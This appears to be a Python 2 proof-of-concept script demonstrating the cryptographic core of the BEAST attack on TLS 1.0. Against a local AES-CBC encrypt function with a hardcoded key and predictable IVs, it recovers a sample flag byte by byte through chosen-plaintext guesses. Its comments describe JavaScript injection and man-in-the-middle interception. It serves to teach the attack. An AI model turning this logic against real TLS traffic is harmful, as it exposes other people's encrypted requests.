#!/usr/bin/env python # -*- coding: utf-8 -*- ''' BEAST attack - PoC Implementation of the cryptographic path behind the attack Author: mpgn ''' import random import binascii import sys from Crypto.Cipher import AES from Crypto import Random """ AES-CBC function encrypt, decrypt, pad, unpad You can fix the IV in the function encrypt() because TLS 1.0 fix the IV for the second, third... request (to gain time) """ def pad(s): return s + (16 - len(s) % 16) * chr(16 - len(s) % 16) def unpad(s): return s[:-ord(s[len(s)-1:])] # we admit the handshake produce a secret key for the session # of course we do not have any HMAC etc .. but there are not usefull in this attack def encrypt( msg, iv_p=0): raw = pad(msg) if iv_p == 0: iv = Random.new().read( AES.block_size ) else: iv = iv_p global key key = Random.new().read( AES.block_size ) cipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv ) return cipher.encrypt( raw ) """ The PoC of BEAST attack - Implementation of the cryptographic path behind the attack - the attacker can retrieve the request send be the client - but also make the client send requests with the plain text of his choice """ def xor_strings(xs, ys, zs): return "".join(chr(ord(x) ^ ord(y) ^ ord(z)) for x, y, z in zip(xs, ys, zs)) def xor_block(vector_init, previous_cipher,p_guess): xored = xor_strings(vector_init, previous_cipher, p_guess) return xored def split_len(seq, length): return [seq[i:i+length] for i in range(0, len(seq), length)] # the PoC start here, two method, one with two request # the other with two request def run_two_request(find_me): print "Start decrypting the request block 0 --> block 0\n" secret = [] # the part of the request the atacker know, can be null i_know = "flag: " # padding is the length we need to add to i_know to create a length of 15 bytes padding = 16 - len(i_know) - 1 i_know = "a"*padding + i_know # add_byte will be decrement every byte deciphered add_byte = 16 length_block = 16 t = 0 # retrieve all the request while(t < (len(find_me)-len("flag: "))): for i in range(0,256): # good pad if (add_byte+padding) < 0: s = find_me[-1*(add_byte+padding):] else: s = find_me # the client send the encrypted request with socket and TLS1.0 # you intercept the request and now you have: enc enc = encrypt("a"*(add_byte+padding) + s) # get the value of the request ciphered original = split_len(binascii.hexlify(enc), 32) # GUESS XOR VI XOR C_I_1 build by the attacker vector_init = str(enc[-length_block:]) previous_cipher = str(enc[0:length_block]) p_guess = i_know + chr(i) xored = xor_block( vector_init, previous_cipher, p_guess) # with some javascript injection, you force the client to send # request of your choice, the TLS1.0 fix the IV to the last block of the previous request # with a MiTM you intercept the result and get enc = encrypt(xored, vector_init) result = split_len(binascii.hexlify(enc), 32) sys.stdout.write("\r%s -> %s " % (original[1], result[0])) sys.stdout.flush() # if the result request contains the same cipher block from the original request -> OK if result[0] == original[1]: print " Find char " + chr(i) i_know = p_guess[1:] add_byte = add_byte - 1 secret.append(chr(i)) t = t + 1 break elif i == 255: print "Unable to find the char..." return secret return secret # the PoC start here def run_three_request(find_me): print "Start decrypting the request using block 0 --> block 1\n" secret = [] # the part of the request the atacker know, can be null i_know = "flag: " # padding is the length we need to add to i_know to create a length of 15 bytes padding = 16 - len(i_know) - 1 i_know = "a"*padding + i_know length_block = 16 t = 0 # retrieve all the request while(t < (len(find_me)-len("flag: "))): for i in range(0,256): # good pad if padding < 0: s = find_me[-1*(padding):] else: s = find_me # the first request is send first_r = encrypt("a"*(padding) + s) # the second request is send enc = encrypt("a"*(padding) + s, first_r[-length_block:]) # get the value of the request ciphered original = split_len(binascii.hexlify(enc), 32) # GUESS XOR VI XOR C_I_1 build by the attacker vector_init = str(enc[-length_block:]) previous_cipher = str(first_r[-length_block:]) p_guess = i_know + chr(i) xored = xor_block( vector_init, previous_cipher, p_guess) # with some javascript injection, you force the client to send the # request of your choice, the TLS1.0 fix the IV to the last block of the previous request # with a MiTM you intercept the result and get enc = encrypt(xored, vector_init) result = split_len(binascii.hexlify(enc), 32) sys.stdout.write("\r%s -> %s " % (original[0], result[0])) sys.stdout.flush() # if the result request contains the same cipher block from the original request -> OK if result[0] == original[0]: print " Find char " + chr(i) i_know = p_guess[1:] padding = padding -1 secret.append(chr(i)) t = t + 1 break elif i == 255: print "Unable to find the char..." return secret return secret # the attacker don't know the flag secret = run_three_request("flag: WIN{TLS_1.0_Not_SO_Good_With_Socket}") # or # secret = run_two_request("flag: WIN{TLS_1.0_Not_SO_Good_With_Socket}") found = ''.join(secret) print "\n" + found